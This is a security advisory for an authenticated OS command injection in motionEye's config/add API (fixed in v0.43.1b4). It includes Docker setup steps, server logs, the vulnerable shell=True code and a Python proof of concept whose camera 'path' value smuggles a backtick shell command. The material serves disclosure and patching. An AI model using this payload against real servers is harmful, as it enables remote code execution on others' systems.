Using a constructed (camera) device path with the config/add
/add_camera
motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion
by default.
post
add_camera
config.add_camera
v4l2ctl.list_resolutions
utils.call_subprocess
subprocess.run
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server started
Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
<img width="1187" alt="Image" src="https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62" />
<img width="324" alt="Image" src="https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e" />
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
RCE
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Applying the following patch, replacing the literal single quotes in the created cmd
string with a shlex.quote
d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
https://github.com/motioneye-project/motioneye/issues/3142
The vulnerability was discovered by Tencent YunDing Security Lab.
{ "nvd_published_at": "2025-05-14T16:15:29Z", "cwe_ids": [ "CWE-78" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-05-15T16:10:48Z" }